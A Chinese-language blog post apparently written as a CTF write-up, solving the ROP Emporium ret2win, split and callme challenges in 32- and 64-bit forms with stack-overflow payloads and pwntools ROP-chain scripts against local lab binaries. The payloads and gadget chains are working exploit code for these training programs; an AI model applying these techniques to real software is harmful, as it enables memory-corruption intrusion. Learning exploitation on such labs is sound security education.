Aione's blog

一起快乐摸鱼吧🐳

  1. 1. 0x00 ret2win
    1. 1.1. ret2win32
    2. 1.2. ret2win64
  2. 2. 0x01 split
    1. 2.1. split32
    2. 2.2. split64
  3. 3. 0x02 callme
    1. 3.1. callme32
    2. 3.2. callme64

最近做了一下 ropemporium 上的题,简单记录一下。

0x00 ret2win

ret2win 有 32 位和 64 位的,两种情况下参数传递的方式不同。

ret2win32

首先拖到 ida 里看看
image.png
主要逻辑在 pwnme 里
image.png
image.png

ret 相当于 pop $eip

pwnme 调用了 fgets ,我们可以利用 fgets 函数进行栈溢出。

由于 s 长 0x28 个字节,s 后面就是当前栈帧的 ebp 然后是 ret 时会用到的地址,这样我们就可以让它跳到我们想要的地方,同时这个题啥都没开,payload 就很好糊了。

1
python2 -c "print 'a'*(0x28+0x4)+'\x59\x86\x04\x08' " | ./ret2win32

ret2win64

这个题解法和上题基本一致,不过有一个区别就是 64 位下,参数通过寄存器传递而不是通过栈传递。
image.png
payload

1
python2 -c "print 'a'*(0x20+0x8) + '\x11\x08\x40\x00\x00\x00\x00\x00' | ./ret2win

0x01 split

split32

同样的栈溢出,我们可以控制返回地址,给了个 usefulfunction
image.png
注意到调用了 system 函数,我们可以利用 system 函数执行代码,这个时候我们从 .data 段找我们需要的数据
image.png
payload 如下

1
python2 -c "print 'a'*44+'\x57\x86\x04\x08'+'\x30\xa0\x04\x08'" | ./split32

split64

64位,我们这次要把数据通过 rdi 传进 system 函数,所以我们要找到一个能够把数据从栈弄到寄存器。
偏移 40
image.png

.data

1
addr=0x00601060 off=0x00001060 ordinal=000 sz=18 section=.data string=/bin/cat flag.txt

payload

1
python2 -c "print 'a'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split

0x02 callme

依次调用 callme_one(), callme_two(), callme_three() 参数 1, 2, 3即可。

callme32

32 位要注意平衡栈,可以考虑 3 个 pop,或者 add esp, $8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *                

context.log_level = "debug"

p = process("./callme32")

callme_one = 0x080485c0
callme_two = 0x08048620
callme_three = 0x080485b0
pop_3 = 0x080488a9

pay = b'a' * 44

pay += p32(callme_one)
pay += p32(pop_3)
pay += p32(0x1)+p32(0x2)+p32(0x3)

pay += p32(callme_two)
pay += p32(pop_3)
pay += p32(0x1)+p32(0x2)+p32(0x3)

pay += p32(callme_three)
pay += p32(pop_3)
pay += p32(0x1)+p32(0x2)+p32(0x3)

p.sendline(pay)
p.interactive()

callme64

这题比较蠢,找个 pop rdi; pop rsi; pop rdx; ret; 的就完事了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.log_level = "debug"

p = process("./callme")

pop_rdi_rsi_rdx = 0x00401ab0
one = 0x00401850
two = 0x00401870
three = 0x00401810

pay = b'a'*40
pay += p64(pop_rdi_rsi_rdx)
pay += p64(0x1)+p64(0x2)+p64(0x3)
pay += p64(one)

pay += p64(pop_rdi_rsi_rdx)
pay += p64(0x1)+p64(0x2)+p64(0x3)
pay += p64(two)

pay += p64(pop_rdi_rsi_rdx)
pay += p64(0x1)+p64(0x2)+p64(0x3)
pay += p64(three)

p.sendline(pay)
p.interactive()

Author : Aione
本文使用 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 协议
Link to this article : https://aione.me/2019/09/29/简单rop/

This article was last updated on days ago, and the information described in the article may have changed.